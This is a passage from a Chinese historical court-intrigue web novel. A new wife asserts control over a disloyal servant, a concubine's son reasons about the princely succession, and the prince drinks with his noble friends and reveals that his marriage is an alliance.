孙嬷嬷看了看紧闭的屋门,随即看着微笑的入画,讪讪笑着:“是,是。” 屋内 林观月听着侍书的“恩威并施”,嘴角慢慢上扬,敲打地节奏也渐渐欢快起来。 “咚咚~少夫人,孙嬷嬷到了。” “进。” 门被推开,孙嬷嬷快速在屋内扫了一遍,最终落在了窗前案几旁斜倚着的女子——她今日穿了件月白色衣裙,头上一支白玉簪,懒懒地倚在窗边,像一位清冷出尘的月下神女。 孙嬷嬷压下心里的想法,告诫自己:这可不是什么神女!哪有神女的心思如此深沉?!那可是连大公子都讨不到好的人! 想到这里,孙嬷嬷的姿态愈发恭敬,她走到林观月面前,福了福身子:“老奴孙氏,见过少夫人!少夫人万福!” 林观月不为所动,连眼皮都没动一下。 孙嬷嬷抬眼看了看,半天没等到动静,忍不住再次开口:“少夫人万福!——” 林观月依旧不为所动。 孙嬷嬷心想:这是要给她下马威啊。 就在她犹豫要不要再喊一声的时候,身后的入画轻声提醒:“孙嬷嬷,第一次见到少夫人,得行跪拜礼。” 孙嬷嬷心下大惊,抬眼快速一瞟,随即连忙跪下,双手叠放在地上,额头紧紧贴上手背:“老奴孙氏,见过少夫人!少夫人万福!” 孙嬷嬷是在有些胖了,故而她要想把额头贴上手背,其实挺困难的,所以现在看来,就有些滑稽。 但她也没心思想这些,毕竟,林观月没有让她起身。 孙嬷嬷跪在地上,冷汗一滴滴落下,心里直突突。 这少夫人不会是发现我了吧?不可能不可能……可万一…… 就在孙嬷嬷胡思乱想的时候,林观月终于想是睡醒了一把,懒懒地直起身子。她看了一眼跪在地上抖的不行的婆子,终于开口:“起吧。” 林观月的声音偏冷,这句话更是没什么感情,但孙嬷嬷却觉得这句话如同天籁。 “谢少夫人。”孙嬷嬷艰难地爬了起来,随即顾不得整理衣服,就谄媚着脸问林观月:“少夫人,不知您叫老奴来,可是有什么吩咐?”< /p>林观月抬手烧起水来,动作优雅,声音平淡:“不急,孙嬷嬷你,难道就没有什么要同我说的吗?” 林观月将火拨的更红了些,随后将水壶放上去,抬手拿过一旁的茶罐,抖了抖,凑到鼻尖闻了闻。 林观月这边悠闲,孙嬷嬷心里快慌死了,一心怀疑林观月是不是发现了什么。可万一没有,那她岂不是不打自招? 所以她谄媚着笑脸,问林观月:“少夫人,这侍书姑娘说今后秋水苑归她管,那我……少夫人,不知您对我有何吩咐?” “秋水苑不归侍书管,只是日常洒扫之类的活计由侍书负责。”林观月说。 “这……是是是。”孙嬷嬷连忙跟着点头,“那少夫人,我今后该干什么?” 水烧开了,林观月垫着巾布提起热水壶开始温盏,“我还有个陪嫁嬷嬷,姓钱,过一段时间她会来,今后你在她手底下做活,她怎么吩咐,你怎么干就行。” “这,这……”孙嬷嬷自然是不满意的,她没想到林观月竟然真不打算给她留体面,所以说话语气也有些不好了,带着些微微的不忿:“少夫人,这……过去这些年,都是我替二公子搭理秋水苑,怎的突然要撤了我?这……敢问少夫人,此事,二公子可同意了?” “孙嬷嬷你放肆!”入画呵斥一声,“你这话的意思,难道是要挑拨少夫人和二公子离心吗?!” “不敢不敢,入画姑娘莫要污蔑我!我自然希望二公子和少夫人夫妻和睦、琴瑟和鸣。”孙嬷嬷花言巧语,有些“怯怯”地看林观月,“只是……还望少夫人告知我原因。” 林观月流畅地洗着茶,闻言轻哼一声道:“嬷嬷放心,今后秋水苑上下事宜,全权由我负责。此事,二公子点过头了。” 她倒掉洗茶水,随后再次倒入沸水,高高扬起,溅起水花来,茶香也随之慢慢飘散开。 “至于为何……”林观月抬手尝了尝这杯茶,轻轻蹙眉,随即放下杯子。她起身,走到孙嬷嬷身边,似笑非笑道:“孙嬷嬷,伺候二公子之前,你在哪里做活?” “这……”孙嬷嬷额间流下一滴冷汗,战战兢兢回答:“老奴之前,一直在琼华院伺候。” “是吗?”林观月转身绕着孙嬷嬷走,轻笑道:“我还以为,孙嬷嬷是在大公子身边伺候呢?” 此言一出,孙嬷嬷瞬间吓得一颗心都提了起来,下意识就像下跪,却被林观月抬手拦住了。 孙嬷嬷心虚恐惧地抬头,对上林观月似笑非笑的眼神:“孙嬷嬷这是作甚?” 她将孙嬷嬷拉起来,拍了拍她的肩膀,道:“孙嬷嬷,做好你该做的,我不会亏待忠心之人,但若是三心二意之辈……我也不必手软,你说是吗?” “……是,是……” 孙嬷嬷再无一开始的嚣张跋扈。 林观月转身走到窗边,摆摆手道:“下去吧。” “是,少夫人告辞。” 孙嬷嬷连忙跑了出去,到了门口还绊了一下,却快速爬起来赶紧离开,入画在后面忍不住笑了起来,待人不见了,她问林观月:“少夫人,就这么放过这老货了?” “不急。”林观月走到矮几旁,端起刚刚泡的那杯茶,“作威作福的日子过惯了,她舍不得的,我们等着瞧就行。” “活该!谁让他吃里扒外!”入画骂道。 林观月轻笑摇头,意味深长道:“这秋水苑脏东西,还多着呢。” 她走到入画面前,将那杯茶递给她,说:“尝尝?” 入画不知她要干什么,但还是顺着她的意思结果那杯茶,抬手轻轻尝了一口,随即忍不住皱眉。 “嗯?这茶怎的这般苦?少夫人,你从哪里找到的茶叶?” “自然是就在这矮几上。”林观月冷冷道。 “这……”入画也惊了,她也意识到了什么。自从跟了林观月,就算是她们几个奴婢,也再没喝过劣质的茶叶,可万万没想到,这宣王府二公子的屋里,放的竟然是劣质茶!闻着似乎还像是放了许久的,都有些霉味了! 入画心中惊叹这些人的大胆,同时也同情起祁云羡来。 林观月望着窗外,秋水苑之所以名为“秋水”,只因这间院子里有个人工池,林观月此时站的窗边,便能看到那个池塘。 “青梧?秋水?”林观月冷哼一声,“这宣王府,真是蠢的可笑!” 18. 云景 汀兰院位于王府西侧,此处比较僻静,但院内布局装饰却并不显落魄——这是侧妃李氏的院落。 李侧妃常年礼佛,院内设有一处小佛堂,故而汀兰园内时时飘散着一种檀香的味道。祁云景虽然自己不喜欢熏这种香,但是却很喜欢汀兰院的这种味道,每次来到这里,都莫名觉得心平气和。 “听说,二嫂昨儿个给你送了礼?”祁云景懒懒散散地靠在太师椅上,手上拿了两个琉璃珠子把玩,对着光线凑上去仔细查看,头也不抬问道。 对面,祁舒宁与他截然相反,哪怕是在自家母亲的院子里,依旧坐的规规矩矩。闻言,她看了看自己哥哥,随后又看向李侧妃的方向,就见李侧妃也睁开了眼睛看向她。 祁舒宁握着手帕的手紧了紧,轻轻点了点头,“嗯。来的婢女说,二嫂这是谢我昨天替她解围。” 祁云景一把收回珠子,兴致勃勃地走到她身边坐下,凑近好奇问:“二嫂送你的什么东西?” 祁舒宁对自己哥哥的性子十分熟悉,她看了他一眼,又看向自己母亲回道:“二嫂送了我一套粉面头饰。” 她抬手挥了挥,身后侍奉的侍女便捧着一个宝匣上前。祁舒宁抬手接过盒子放在桌上,抬手打开,说:“我带过来了,想让母亲和哥哥帮着看看。” “还带过来了?我看看!”祁云景一听就来劲了,抬手就把宝匣拉到自己面前,打开一看。 “我嘞个乖乖,二嫂出手大方啊!”祁云景“啧啧”感叹,对她们说:“瞧瞧这这银鎏金纹饰,造型奇特、精致又可爱,还有这粉珍珠……” 祁云景抬手拿起一支簪子,对着阳光看了看,感叹:“这是上品的粉珍珠啊!” “你给我!”祁舒宁嗔怒地从他手里把簪子夺回来,然后重新放到宝匣中,规规矩矩地摆好,细致珍惜的不行。 李侧妃在一旁瞧着,心里轻轻叹了口气。 “还挺宝贝。”祁云景撇撇嘴,随即又卧回太师椅里,“不过你别说,二嫂就是二嫂,出手可真大方。这一套下来,起码得有三百两了吧?!而且我估摸着可能还不止!” 说着,他就自顾自遗憾起来:“早知道昨天我也帮二嫂说说话了,也不知道二嫂若是送我,会送什么?” 祁舒宁耸了耸鼻子,说:“哥哥就爱做梦!” “嘿!小心我抢你东西啊!”祁云景威胁说道,作势就要抢这宝匣,吓得祁舒宁赶紧把宝匣抱到怀里,他乐了,扶着腰哈哈大笑:“哈哈哈哈……” 祁舒宁也意识到他这是在作弄自己,气的脸都红了,跟李侧妃告状:“娘~你看哥哥!他又欺负我!” 李侧妃对自己这对儿女的日常也是习以为常,无奈地看向祁云景,“你是哥哥,总惹你妹妹是干什么?” “我这不是想让小宁儿活泼点嘛!姑娘家家的,小小年纪每天愁眉苦脸的,要我说就是被母妃你传染了,都快成小尼姑了!” “祁云景!”李侧妃呵斥。 “我才不是小尼姑!”祁舒宁嘟着嘴不乐意反驳。 “是是是,我的错,你不是小尼姑,你是大家闺秀好不好。”祁云景熟练的认错。 “哼!我本来就是!” “都被教傻了……”祁云景小声嘟囔着吐槽,看到自家妹妹又要生气,连忙转移话题:“得得得,咱不说这个了。我问你,你今天把这东西拿过来,改不会还想着给二嫂还回去吧?” 这话把祁舒宁给问住了,她抿了抿嘴,低下头,两手揪着手绢绕来绕去。 祁云景一看她这模样就知道答案了,抬手隔空点了点她,没好气道:“我就知道!” 他挥挥手示意侍女们都出去,随后重新回到祁舒宁身旁的椅子坐下,抬手支着大腿语重心长道:“小宁儿我跟你说,二嫂这东西既然送了,你若是觉得收着不好意思,往后做了什么点心,或是绣了什么扇子之类的,就给二嫂送去。心意到了就行,反正二嫂也不是缺好东西的人。但是!”祁云景语气加重,强调:“这粉面头饰,二嫂既然送了,那你就千万千万不能送回去!” “为,为什么啊?”祁舒宁不解,清澈的眼睛看着祁云景问,简直像个小白兔。 祁云景无奈叹了口气,他细细同妹妹说道起来:“二嫂给你送礼,除了谢你之外,最重要的,是向这王府中人传递一个消息。” “什么消息?”祁舒宁眨巴眨巴眼睛问。 “自然是要告诉众人,二嫂不会亏待自己人!这是收揽人心啊笨蛋妹妹!”祁云景恨铁不成钢地戳了戳她的额头。 “诶呀~你别戳我!”祁舒宁扒拉下来他的手,按着他戳的地方揉了揉,一脸不情愿。 另一边,一直听着兄妹俩说话的李侧妃也在此时开口,她看向祁云景问:“你想投靠你二哥?” “非也非也!”祁云景听闻母亲的话,伸出一根食指摇了摇,高深莫测道:“我不是选了二哥,而是不想选祁云琛罢了!” 李侧妃蹙眉,她沉声问:“你就这么不看好大公子?虽说他并非王妃亲子,可王妃对他向来视如己出。反倒是二公子,才华既不出众名声也不好,与王爷王妃之间也不亲厚……更何况,王爷也不是就这两个儿子,你就这么确定,这王位最后是二公子的?” “母妃,这话可不能说!”祁云景还没接话,祁舒宁就连忙看了看四周,低声喝止李侧妃的话。 祁云景抬手敲了敲祁舒宁的头,闻声笑道:“不用怕。”随后看向李侧妃,表情已经嬉皮笑脸,但眼神已经认真了许多。 “母妃,你这话说的可不对,若要真论起来,祁云羡才应该是我大哥。”他轻笑一声,“不过你要说我不看好‘大公子’也没错,毕竟,我确实也不怎么看好祁云羡,不然我不早就跟他走近了。” “那你是要做什么?!”李侧妃声音沉了下来,带着些许怒气。 “母妃你别生气嘛,你听我说。”祁云景笑嘻嘻凑上去去,亲自倒了杯茶递给李侧妃,解释道:“我虽然从前确实不看好祁云羡,但是如今不一样了啊!他娶妻了,娶的还不是个一般女子!虽然我不看好他,但是我看好二嫂啊!有二嫂在,这王位,最后只会是祁云羡的!” 祁云景这话说的肯定,那李侧妃就还是那个问题——“你就这么看好你二嫂?” “母妃,并非只因我看好她。”祁云景坐到她身边,开始给她分析起来:“虽然祁云琛他在宣王府看起来风光无限,在外也有好名声,可是母妃,皇家认他吗?楚家认他吗?皇祖母向来最疼祁云羡,连太子都比不过,你觉得皇家会让祁云琛一个外人,骑在祁云羡脸上吗?” “这……”李侧妃也被他这番话给问住了,此时,一直乖乖坐着的祁舒宁插嘴问:“所以哥哥,你的意思是,有皇祖母在,王位就一定是二哥哥的?” “可以这么说吧。”祁云景点点头。 “那楚家呢?王妃不是很喜欢大哥吗?为什么你说有楚家在,大哥不可能继承王位呢?”祁舒宁问。 “小笨蛋,你是不是忘了,你二哥哥是谁找回来的?”祁云景轻笑一声,随后眼睛微眯,意味深长道:“更何况,楚家可不止王妃一个女儿王妃糊涂,定国公可不糊涂!归根结底,最重要的,那是东宫那位。你觉得太子会放着自家亲表弟不拉拢,反而去拉拢一个不得太后喜欢的、 身份不明的、毫无血缘关系的人吗?” “哥哥,你小点声吧!小心让旁人听去,再惹来麻烦!”祁舒宁被他这番话吓得要死。 李侧妃也跟着警告他:“日后这话,不许再说!” “放心放心,我就是跟你们说一说,分析分析局势,省的你俩看不清。”祁云景摆摆手道。 李侧妃素来知道自家儿子聪明大胆,却也不免为他担忧。 “那按你这么说,这王府以后注定是你二哥的,你为何从前不跟你二哥走的近?偏要等他娶了妻,你又要向他们投诚?” “自然是从前还有风险。”祁云景轻飘飘道。 祁舒宁疑惑、好奇:“什么风险?” 祁云景勾了勾嘴角,故意凑近吓她,邪恶道:“万一二哥死了呢?” “啊!” “哈哈哈哈哈哈哈……” 祁舒宁被他吓了一大跳,随后反应过来,气的把帕子扔他身上,眼睛都红了。 “哥哥就会吓唬我!” 见她要哭,祁云景也不敢笑了,连忙拿着帕子给她擦眼泪,哄人:“我错了我错了,赶紧擦擦……怎么还哭上了?” “谁哭了?”祁舒宁抢过帕子自己擦起来,又可怜又可爱的,看的祁云景乐了。 “是是是,你没哭。我妹妹怎么可能哭呢?!谁哭我妹妹都不会哭的!” “哼!” 祁舒宁说不过他,索性转过去不理他。李侧妃看着这一幕,心累地摇头,让她开始想念起自己的小佛堂。 太闹腾了。 她看向祁云景道:“好了,别逗你妹妹了,好好说。” “行。”祁云景一撩衣摆坐了下来,说:“虽说这王位不出意外一定是二哥的,可若是二哥自己出了意外呢?到时候,这王位落在谁手上,可都是有可能的。” “哥哥……你想要王位?”祁舒宁惊呼。 “不是我想要,而是到了那时候,我就必须得争!”祁云景叹了口气说:“这王位若不是嫡子的,那必定要起争端。 虽说现在看上去只有祁云琛能跟祁云羡争,可那是明面上的。若是没了祁云羡,这位子也落不到祁云琛身上!太后不会同意,陛下不会同意,父王也不会同意。到时候,为了我自己,为了你们,就是我不想争,也得争!” 这话说完,李侧妃和祁舒宁皆沉默了。他们清楚,祁云景说的有道理。若是真到了那时候,不争也得争!否则等着他们的,或许就是死。 “那如今呢?为何你二嫂嫁过来之后,你便肯定二公子不会出事了?”李侧妃问出自己最后不解之处。 “母妃啊,你好好想想,这场婚事,是谁促成的?” 李侧妃垂眸思索,犹豫开口:“你是说……” 她指了指上面,祁云景点点头。 “所以啊,有二嫂在,二哥就肯定不会出事。而昨儿个我们也看见了,二嫂确实不简单不是?所以啊……”祁云景双手背到后脑勺往后靠,懒洋洋道:“咱们娘仨赶紧收拾收拾投诚吧,等日后祁云羡继了位,也亏待不了我们。更何况……” 祁云景抬了抬下巴,示意那个宝匣道:“你们也瞧见了,二嫂多大方,跟着她啊,不说顿顿吃肉,起码也有肉汤喝不是?” 李侧妃低头沉思,祁舒宁看着粉面头饰不语。祁云景也不催促,就静静等着。 良久,李侧妃才终于开口:“罢了,你也大了,比我看的东西多,想做什么就去做什么吧。记得,护好你妹妹。” 祁云景笑了,他一巴掌落在祁舒宁头顶揉了揉,笑道:“放心。” “头发乱了~” 19. 纨绔 望霄楼坐落于京城人流量最大的黄金地段,是京城最豪华的酒楼,也是纨绔子弟时常寻欢作乐之地。 此时,二楼一个名为“秋月”的包厢里,祁云羡斜坐在软榻上,手里拿着酒杯,一脸阴沉,任谁都能看得出来他的不高兴。 除他之外,包厢里还有一群同样锦衣华服、穿金戴银的纨绔子弟,他们有的同样在喝酒,有的在玩牌,还有几个怀里抱着风情万种的美人。 “喂我~嘿嘿嘿……美人儿,你喂我……”一个身穿井天蓝圆领窄袖缺胯袍男子怀里抱着一个粉纱覆身、柔媚可人的女子,二人旁若无人地打情骂俏。 周围人对此见怪不怪,甚至同样带着姑娘的几个,还‘心领神会’地看了他一眼,随后扭过头去继续腻歪。 祁云羡坐在主位上,本来就烦,听见他这句话直接拿着酒杯就朝人扔了过去。 这男子名为赵修璘,是户部郎中赵德彦的嫡次子,被家里宠坏了,平日里吃喝嫖赌无不精通。 “诶呦!谁!谁打我!”赵修璘诶呦一声,捂着额头嚷嚷着扭头,待看清祁云羡那张黑成墨的脸时,瞬间蔫了下来,讪讪放下了手,“二,二公子,您这是干什么啊?……我也没惹您吧……?” 这边的动静也引起了房间其他人的注意,周围一时都安静下来,连屏风后面弹琴的乐师也停了动作,连忙跪在地上,更不要说刚刚被赵修璘抱在怀里的姑娘了,早被吓得脸都白了。 “要发情滚回去发情,别在我这,平白污了本公子的眼!”祁云羡冷冷地看着赵修璘道。 这话说的,跟赵修璘一样的纨绔们瞬间也战战兢兢起来,果不其然,祁云羡下一刻就把注意力转移到他们身上。 “我请你们来喝酒,不是请你们来喝花酒!不想呆就都滚!平白污了我的地儿!” 祁云羡突然的发怒也是让在场之人都提心吊胆起来,却又摸不着头脑,不知是谁惹了他。 这时,一直坐在圆桌旁玩牌的一位男子起身站了出来,他身穿一身石绿色交领半袖衫,手上拿着一把紫檀骨折扇,长相风流俊雅,常年弯着的眼角让他看起来十分温和 ——此人名为燕南秋,是靖安侯世子,京城四大纨绔之一。但相比其他三人,他的名声就要好上许多。 “阿羡今日看来是心情不快啊。”燕南秋看着一脸阴沉的祁云羡,见他没发话,便冲那些人摆摆手道:“行了,你们都走吧,不过下次这种场合,也别再带姑娘了。” 众人对视一眼,随即连忙爬起来往门外退去。 “多谢燕世子!各位公子告辞!” 一旁被吓得腿软的赵修璘被身旁的哥们拖着退出了房间,姑娘们也早跑没了影子,一时间,屋内就剩下圆桌上玩牌的三人和祁云羡。 房间内剩余两人,一个是福源公主唯一的儿子宋琪光,一个是汝阳侯嫡次子晏绥,与其他二人并列为“京城四大纨绔”。 “阿羡,你今儿一来就沉着一张脸坐那喝酒,也不跟哥儿几个玩牌了。”宋琪光挪到塌便抬起胳膊搂在祁云羡肩膀上,微微凑近,一脸好奇问:“跟哥哥说说,遇见什么烦心事了?” 福源公主是当今陛下和宣王同父异母的妹妹,所以祁云羡跟宋琪光也算是表兄弟。宋琪光比他大几个月,平日里最喜欢用年纪来嘴贱,一无事便喜欢欠儿欠的凑到他面前让他叫“哥哥”。 祁云羡一把把他的胳膊甩开,看都没看他一样,一脸烦躁地摆摆手:“一边儿去。” “嘿!脾气挺大!”宋琪光挑眉,突然眼珠一转,随即看向燕南秋和晏绥,一脸八卦,“诶!你们说,会不会是跟他媳妇吵架了?” 话音刚落,刚刚连看都懒得看他一眼的祁云羡瞬间一个眼刀飞了过来,宋琪光却更加兴奋了,预判般的跳开躲过祁云羡的一脚,指着他道:“看看看看!气急败坏了!被我说中了!” 祁云羡拿起桌子上的酒杯朝他扔过来,被宋琪光灵敏地扭腰闪开。 “嘿!没打到!” 语气欠的不行,祁云羡愤愤瞪了他一眼,随后转过头去独自生闷气,不再搭理他们。 但他这副模样却让三人来了兴致,晏绥嗤笑一声,毫不客气地嘲笑:“祁九,你这么没出息吗?成婚第二天就吵架吵到躲这儿独自喝闷酒?怎么,在后宅呆的时间长了也被传染了?还是娶了妻,就变得‘柔情’了?” 晏绥是四人当中个子最高的,看起来也最有“阳刚之气”,跟玉貌朱颜的祁云羡、玉面狐狸燕南秋和容色清润的宋琪光都不一样。他的皮肤偏小麦色,身材挺拔,宽肩窄腰,骨相端正立体,看上去与三人不像一路之人。 但事实上,他们三个加起来都没晏绥的杀伤力大。 晏绥自小学武,从小到大,打过的人能排满一整个朱雀大街,更不要说还生了一张毒嘴,时常打完了人,还嘲讽的人家恨不得挠死他。 汝阳侯夫妇最常干的事就是上门赔礼道歉,只可惜这人屡教不改。 该打打,该跪跪,下次再碰上,他也照样该打打,该嘲讽嘲讽。 真要说起来,他们这四大纨绔里,最让人避之不及的就是他,最招人恨的也是他。 桌子上剩下两个酒杯,被祁云羡抓着全朝他扔了过来,结果都被晏绥接住了,他还夹在指间嘚瑟地对着他晃了晃,嘲讽:“二公子这力气不行啊,跟姑娘家似的。” 祁云羡长得好看,最烦别人说他像姑娘,一听瞬间炸了毛,“嗖”的一下坐起来,抬手就要揪他的衣领,被眼疾手快的燕南秋半途挡了下来。 “行了行了行了,说话就说话,别动手。”燕南秋抱着祁云羡劝道,随后又转向晏绥说:“你也少说两句。” 晏绥轻哼一声,终究没再说什么。 燕南秋安抚好祁云羡,随后问:“阿羡,你这到底发生了何事?跟我们几个说说,我们也能替你想想办法。” “就是啊小九儿,”宋琪光一屁股坐在祁云羡身旁,抬手搭在他肩膀上道:“俗话不是说了,‘三个臭皮匠,顶个诸葛亮’,你说出来,我们一起想办法,总比你一个人在这儿生闷气要好。” 晏绥没说话,但眼睛也紧紧盯着他,显然也在等他说。 祁云羡抬头扫视一圈,感受着三人紧紧盯着他的视线,可连他自己也说不清自己烦闷的点。故而最终,祁云羡烦躁地摆摆手道:“没事儿。” 燕南秋见他不想说,便没再追问,只是点点头,“行,没事最好,不过既然今日出来了,咱们几个也好久没聚了,今日正好趁此机会聚一聚。” 晏绥嫌弃地看了祁云羡一眼,随后转身走向屋外。 “我去让小二再上几瓶酒。” 宋琪光倒是最失望的,可一听 晏绥的话,眼睛又亮了起来,朝着他的背影嚷嚷:“我要秋露白!” 晏绥已经出了门,但宋琪光知道,他肯定听到了,于是乐呵呵起身来拉祁云羡。 “喝酒就一起喝,别自个儿窝在那儿。” 祁云羡烦不胜烦,顺着他被他拉到桌边,被他按着坐下。随后宋琪光坐他身边,燕南秋笑着坐到了他的另一边,剩下了一个他对面的位置留给晏绥。 “啧。”祁云羡嫌弃地看了一眼这个位置,随后眼神看向宋琪光,理直气壮道:“咱俩换个位置。” “我不。”宋琪光摆摆手无情道:“婉拒了哈,今儿你是东家,晏绥那张嘴还是留给你直面吧。” 于是祁云羡又转向燕南秋,结果对方看天看低就是不看他,把他气的够呛。 “你就别折腾了,今儿你对面的位置我是坐定了!” 此时,晏绥回来了,身后跟着一个小二拿着个托盘,上面放了一堆的“秋露白”,在祁云羡“威胁”的眼神下,一屁股坐在他对面的位置,还特别挑衅地朝他吹了个口哨,把祁云羡气的不行,索性扭头看向一边,眼不见心不烦。 “各位公子,请慢用。” 待小二离开后,宋琪光急不可耐地打开一瓶酒,随着酒塞被拔下,秋露白醇厚的酒香飘散开来,宋琪光陶醉地闭上了眼睛。 “就是这个味儿!我可好久没喝了,真是想死我了!” 宋琪光拿起酒杯就倒了一杯,不等给三人倒酒,就自顾自拿起来一饮而尽。 冷酒滑过咽喉,入口绵柔,不见刺喉的烈,只一缕醇厚暖意顺着喉管缓缓沉落,最后落尽腹中,浑身都暖了起来。 这边是“秋露白”,望霄楼的镇店之宝,每人每月限购两瓶。 放在平时,他们四个最少每个月都要来几次,但祁云羡因着要成婚,他们几个也聚不齐,已经很久都没一起喝酒了。而属于宋琪光这个月的两瓶,早被他喝光了,所以今日是蹭他们三个的。 宋琪光满意地眯了眯眼,刚要抬手就想倒第二杯,手还没摸到瓶子,就被另一只手抢走。 晏绥把剩下三只酒杯放在面前,依次倒满,嘴里还不忘说宋琪光:“合着我们三个是来给你凑人头买酒的?” 宋琪光理亏,“嘿嘿”讨好的笑了笑:“我这不是太久没喝了,一时心急嘛。” 他将杯子凑到晏绥面前,好声好气道:“好哥哥,再给我倒一杯。” 晏绥被恶心地够呛,嫌弃地看着他说:“你吃虫子了?能不能别在这恶心人!” 虽然嘴上说着,但还是给他又倒了一杯。宋琪光看着倒满的酒杯,也没跟他生气,美滋滋地端起来再次一饮而尽。 晏绥先是递给燕南秋一杯,随后拿起另一杯越过桌子递给祁云羡,等他接过后,嘴角微勾道:“既然你没事,那我有事。” 闻言,三人都看向了他。燕南秋似有预感,“唰”的一下展开扇子遮住自己半张脸,一双眼睛满是兴味。宋琪光则是沉醉在酒里,而祁云羡莫名有些不好的预感。 “有事就自己解决,大男人有事还得找我们?让人笑话!”祁云羡不看他的眼睛抬起酒杯一饮而尽。 “跟哥们有什么丢人的。”晏绥给他又添了一杯,随后好奇地凑近问:“祁九,咱们几个就你成婚了,跟兄弟几个说说,成了婚有什么感受?” 20. 京城 祁云羡只当没听见,拿起酒杯去跟宋琪光碰杯,嘴里还评价着:“这酒不错,得抓紧喝。” 他又倒了一杯冲晏绥和燕南秋举了举,一本正经道:“小心等会都被宋琪光给喝完了。” 燕南秋笑着摇头,从善如流地拿起酒壶给自己添酒。 这场景,用不着他。 果然,晏绥并不同意让他就这么转移了话题——他一边从宋琪光手里夺出来一壶酒,成功赢来对方愤愤一眼后,又不在意地拿在手上,对着祁云羡轻笑一声,带着些痞气:“祁九,别躲啊,跟兄弟几个说说呗。毕竟在此之前,我可是从未听过这位林二小姐的称号。” 他下巴微微转向燕南秋和宋琪光的方向,道:“不信你问他们二人,可曾听过?” 宋琪光也来了几份兴致,他放下酒杯好奇地凑上来道:“我听我母亲说,这位林二小姐的外祖家是大胤第一皇商覃氏,那这位林二小姐岂不是十分有钱?是不是啊,阿羡?” 燕南秋也跟着放下酒杯道:“我倒是听了些闲言碎语,说这位林二小姐自小便不常在京中,故而外界对她知之甚少。阿羡,这是真的吗?” 祁云羡左看看又看看,被这三人天天围住,面对他们好奇的神色,烦躁地挥挥手将人挥散,语气有些不耐:“我怎么知道?” “你怎么会不知道?她不是你夫人吗?”宋琪光下意识反问,成功惹来祁云羡的一瞪眼。 燕南秋倒是看出来什么,可他纠结一番还是道:“虽说我们身为男子,在此议论一个女子有失体统,但是阿羡,她毕竟是你的夫人,以我们的关系,你得向我们透个底。今后,我们几人也好知道,该用何种态度对待这位林二小姐。” 燕南秋的话赢来晏绥和宋琪光的认同,“南秋这话说的对。” 祁云羡看着三人,随后叹了口气,老老实实回答问题:“林观月的外祖家确实是覃氏,她也确实许多年不在京城,而是跟着她舅舅四处行商。当然,这些事你们别往外乱说,免得惹闲话。”祁云羡不忘叮嘱三人道。 “放心,我们自然不是那多事之人。”宋琪光一拍胸膛保证着,祁云羡看向另外两个,也都是一脸“怎么可能”的反应。 他稍稍放心,继续说了起来:“至于她这个人究竟如何,我暂时也不清楚……但我们两个暂时达成了同盟,日后你们见到她,也稍稍客气些。还有……” “等等等等!”祁云羡话还没说完,就被宋琪光打断。他敏锐地捕捉到“同盟”这个意味深长的词汇,不解地凑近问祁云羡:“你说‘同盟’,这是何意?” 燕南秋和晏绥同样投以他询问的眼神。 祁云羡不耐烦地“啧”了一声,随后将二人约定的事告诉三人,末了,还不忘叮嘱一句:“此事一定要保密,万万不可让除你们三人之外的人知晓!” 三人也没想到祁云羡这婚姻背后还有这么一个约定,一时之间也心情复杂,但听他这番祝福,还是再三保证了才作罢。 晏绥一脸“果不其然”的表情对祁云羡说:“我还当你真的是我们四人里最先成婚的,谁知你这成了跟没成也没差。” 他向来喜欢嘲讽,祁云羡懒得搭理他,白了他一眼便不再理他。 宋琪光倒是有些失望,“本还想着阿羡成了婚,这林二小姐日后也算是弟妹,那再去覃氏的商铺买东西说不定还有优惠呢?结果你们是假成婚?唉——” “你想的倒美!既如此,你何不干脆取个覃氏的小姐?”祁云羡回嘴。 “我倒是情愿,那不是我母亲不情愿吗?”宋琪光扁扁嘴道,祁云羡也没再说什么。 覃氏虽是大胤第一皇商,但“士农工商”,商在最末尾,即使大胤的商人地位有所提升,那拿到官宦人家面前也是不够看的。不说宋琪光,就是祁云羡,若不是陛下赐婚,他娶妻也是万万轮不上林观月的。 在座几人也都明白这一点,以他们的身份,婚事注定不能由着自己的心意来。但这三人只是唏嘘了一下,而另一旁的燕南秋倒是想的多——林观月这样一个出身才名都不显的女子,为何能突然得到陛下的赐婚? 燕南秋想到了一个人——西平侯嫡次子,也是今年春闱的新科状元——林淮序。 若他没有记错,这位新科状元郎可是太子殿下的伴读。 这样一来,这场赐婚背后所牵扯的,怕是要比他们想的多的多。 这边燕南秋的沉默也引起了三人的注意,离他最近的晏绥抬手在他眼前晃了晃,看到燕南秋抬眼了,才问:“想什么呢?这么入迷?” 燕南秋抬手将他的手拉下,随后看向祁云羡问:“阿羡,可否将这两日有关林二小姐的事讲一讲?” “问这干什么?”祁云羡嘟囔着移开眼神,显然有些不情愿。倒是晏绥,从燕南秋的神色中看出些什么,稍稍正了些神色,看向燕南秋问:“你可是看出了什么?” 他们四人之中,一直默认燕南秋是担任“智囊”的角色的,此时听到晏绥的话,宋琪光和祁云羡也看了过来。 燕南秋轻轻摇了摇头,“我不清楚。”他看向祁云羡道:“我就是想听听这位林二小姐的为人,若是阿羡你实在不愿,改日我去王府一趟也行。” “有这么麻烦吗?”晏绥下意识吐槽,随后略带嫌弃地看向祁云羡说:“祁九,你在那扭捏什么呢?” “谁扭捏了?不会说话就闭嘴!”祁云羡斜视了他一眼。 晏绥轻“呵”一声,还想说什么,被宋琪光拉住,“行了行了,休战啊!休战!咱说正事呢。” 晏绥又“哼”了一声,随后甩开被宋琪光拉住的胳膊,转而抱臂在胸前。 宋琪光被他甩开也不在意,顺势从他面前摸过来一壶酒给自己添了一杯,闻着酒香满意地眯起了眼睛,像是偷到了鱼儿的狸奴。 祁云羡也不跟他计较,垂了垂眸子,似是纠结了一番,最后放弃一般地泄了口气,将这两日发生的事大致说了说。 祁云羡清楚,他不聪明,他也相信,燕南秋不会害他。所以,即使有些难为情,他还是如实将这两日的事情说了。 当然,有些“细节”被他自然省略了。但总是如此,在他说完之后,其余三人也陷入了各自的沉默。 “祁九啊祁九,怎么什么事儿都能让你碰上呢?”晏绥摸着下巴上并不存在的胡须“啧啧”摇头,看着祁云羡一脸感慨道:“这好不容易娶个媳妇,结果还是个厉害的……我敢肯定,你以后得被她拿捏的死死的。” “什么话?!”祁云羡有些不乐意反驳。 “你也别不承认。”晏绥悠哉悠哉地看着他道:“不信咱们走着瞧。” 祁云羡不认同他的话,却又不知从何反驳,索性不再看他,眼不见心不烦。 宋琪光倒是同情地拍了拍他的肩膀说:“好兄弟。” 祁云羡抖了抖肩膀将他的手抖掉,莫名其妙地看他一眼。好在宋琪光也不在意,他正在暗自感慨着:娶妻真是一件麻烦事,他得再拖上一拖,好让她母亲再斟酌斟酌。 